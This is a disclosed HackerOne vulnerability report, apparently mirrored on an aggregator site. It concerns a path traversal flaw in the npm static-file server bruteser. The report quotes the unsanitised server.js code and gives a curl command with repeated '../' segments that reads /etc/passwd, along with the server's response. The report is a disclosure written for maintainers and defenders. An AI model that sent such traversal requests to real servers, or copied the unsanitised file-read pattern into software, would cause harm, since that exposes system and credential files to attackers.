Skip to content
Path traversal Disclosed report Beginner

[bruteser] Path Traversal allows to read content of arbitrary file

bl4de Follow

Originally disclosed on HackerOne

Medium 6.5 View original
  • Triaged in 4 days
  • Fixed in 2 months
  • Disclosed after 2 months

I would like to report Path Traversal in bruteser module. It allows to read content of any arbitrary file from the server where bruteser is installed and run.

Module

module name: bruteser version: 0.0.2 npm page: https://www.npmjs.com/package/bruteser

Module Description

BruteSer - server can be used for any type of static files. Just put your files to "public" folder, run server.js and access localhost:8080/your_file.html

If type localhost:8080 it will run index.html by default

Module Stats

N/A, this module is new and rarely used, but I just wanted maintainer to be aware of the issue as the module is available in public npm directory.

Vulnerability Description

Path Traversal vulnerability in bruteser module allows to go up in directory tree and read content of any file, like /etc/passwd

Vulnerability exists, because bruteser uses variable filepath without any protection against Path Traversal attacks:

JavaScript
// node_modules/bruteser/server.js, line 8 (some lines removed)


	var filepath = req.url;
	if (filepath=='/') {
		var filepath = '/index.html';
	}

	var ext = path.extname(filepath);

    // REMOVED

	fs.readFile('public'+filepath, function (err, data){
		if (err) {
			if (filepath === '/index.html') {
				res.end("It seems there is no index.html file in 'public' directory");
			} else {
				res.end("There is no file by this address");
			}

			

		}
		res.end(data);
	});
   

Steps To Reproduce:

Install bruteser module:

$ npm install bruteser

Run bruteser:

$ node ./node_modules/bruteser/server.js 
Server is running on port 8080


Run following curl command to retrieve content of /etc/passwd (adjust amount of ../ to reflect your system):

$ curl -v --path-as-is http://localhost:8080/../../../../../../../../etc/passwd
*   Trying ::1...
* Connected to localhost (::1) port 8080 (#0)
> GET /../../../../../../../../etc/passwd HTTP/1.1
> Host: localhost:8080
> User-Agent: curl/7.47.0
> Accept: */*
> 
< HTTP/1.1 200 OK
< Date: Mon, 23 Apr 2018 13:15:43 GMT
< Connection: keep-alive
< Transfer-Encoding: chunked
< 
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
(...)
mysql:x:125:132:MySQL Server,,,:/nonexistent:/bin/false
* Connection #0 to host localhost left intact

Patch

filepath should be sanitized

Supporting Material/References:

  • Operating system: Ubuntu 16.04
  • Node.js 8.9.4
  • npm v. 5.6.0
  • curl 7.47.0

Wrap up

  • I contacted the maintainer to let him know: [N]
  • I opened an issue in the related repository: [N]

Regards,

Rafal 'bl4de' Janicki

Impact

This vulnerability allows an attacker to read content of arbitrary files from the machine where bruteser is running

The original report as published on HackerOne, by bl4de. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

What is known

A medium-severity path traversal bug in bruteser, rated CVSS 6.5. HackerOne made it public on 4 July 2018.

About Path traversal

Input that builds a file path escapes the intended folder, reading or writing files the application should never touch.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

What is Path traversal?

Input that builds a file path escapes the intended folder, reading or writing files the application should never touch.

More by bl4de

View all

42 more disclosed reports, best first.

More from Node.js third-party modules

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Path traversal and file inclusion

The lesson behind this report.

Input that builds a file path escapes the intended folder, reading or writing files the application should never touch.